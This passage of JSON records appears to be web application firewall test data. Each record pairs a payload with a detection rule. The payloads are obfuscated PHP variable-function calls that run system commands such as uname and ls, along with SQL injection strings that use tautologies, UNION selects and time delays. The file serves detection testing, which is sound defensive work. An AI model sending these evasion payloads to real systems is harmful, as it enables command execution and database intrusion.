"(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "Check for false positive 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28system%29%28%27uname%27%29%20%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"(system)('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28sy.%28st%29.em%29%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"(sy.(st).em)('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28string%29%22system%22%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"(string)'system'('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28+string+%29+%22sys%22.%22t%22.%22em%22+%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"( string ) 'sys'.'t'.'em' ('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28string%29+%7b%5bsystem%5d%5b0%5d%7d+%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"(string) {[system][0]} ('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=define%28%27x%27,+%27sys%27+.+%27tem%27%29%3b%28x%29%2f*+comment+*%2f%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"define('x', 'sys' . 'tem');(x)/* comment */('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=$y+=+%27sys%27.%27tem%27%3b%28$y%29%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"$y = 'sys'.'tem';($y)('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=define%28%27z%27,+%5b%5b%27sys%27+.%27tem%27%5d%5d%29%3b%28z%29%5b0%5d%5b0%5d%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"define('z', [['sys' .'tem']]);(z)[0][0]('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28system%29%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"(system)(ls)\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28%2f*+comment+*%2fsystem%29%28ls%2f*+comment+*%2f%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"(/* comment */system)(ls/* comment */)\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%5bsystem%5d%5b0%5d%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"[system][0](ls)\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%5b+system+%5d+%5b+0+%5d+%28+ls+%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"[ system ] [ 0 ] ( ls )\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28%5b%27system%27%5d%29%5b0%5d%28%27uname%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"(['system'])[0]('uname')\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28++%5b++system++%5d%5b++0++%5d%29++%7b%2f*+comment+*%2f0%7d++%28++ls++%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "PHP Variable Function bypass \"( [ system ][ 0 ]) {/* comment */0} ( ls )\"" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=%22system%22%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "Block function call via string" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=%22%5Cx73y%5Cx73tem%22%28ls%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "Block function call via string using hex escape sequence" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=(sy.(st).em)(%40id)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "Block function call bypass '(sy.(st).em)(@id)' (without trailing semi-colon)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=1234 OR 1=1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Simple SQL Injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=-1839' or '1'='1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=-1839\" or \"1\"=\"2" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=2010-01-01'+sleep(20.to_i)+'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Basic SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=EmptyValue' and 526=527" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=foo') UNION ALL select NULL --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=foo')waitfor%20delay'5%3a0%3a20'--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=JKGHUKGDI8TDHLFJH72FZLFJSKFH' and sleep(12) --" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@detectSQLi", "argument": "", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "removeNulls" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942100", "test_description": 